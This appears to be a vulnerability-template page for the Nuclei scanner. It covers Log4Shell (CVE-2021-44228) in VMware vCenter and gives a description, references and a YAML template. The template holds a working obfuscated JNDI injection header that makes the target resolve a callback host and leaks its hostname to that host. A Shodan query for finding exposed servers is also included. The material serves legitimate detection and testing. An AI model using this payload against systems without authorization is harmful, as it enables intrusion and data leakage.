VMware VCenter - Remote Code Execution (Apache Log4j)

ID: vmware-vcenter-log4j-jndi-rce

Severity: critical

Author: _0xf4n9x_

Tags: cve,cve2021,rce,jndi,log4j,vcenter,vmware,oast,kev

Description

VMware VCenter is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

id: vmware-vcenter-log4j-jndi-rce

info:
  name: VMware VCenter - Remote Code Execution (Apache Log4j)
  author: _0xf4n9x_
  severity: critical
  description: |
    VMware VCenter is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2021-0028.html
    - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
    - https://twitter.com/tnpitsecurity/status/1469429810216771589
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: title:"VMware VCenter"
    product: vcenter_server
    vendor: vmware
  tags: cve,cve2021,rce,jndi,log4j,vcenter,vmware,oast,kev

http:
  - raw:
      - |
        GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: ${jndi:${lower:d}n${lower:s}://${env:hostName}.{{interactsh-url}}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable

    extractors:
      - type: regex
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
        part: interactsh_request
# digest: 4a0a00473045022100bbcd68342ade5add463026e3c906357dac7514b1f9bb9827337f57dcfad7992102202708199bdfb5504b8d2dffc4bdc15f82cc54f9c890b16df4f40dd6e8510efa10:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/vmware/vmware-vcenter-log4j-jndi-rce.yaml"

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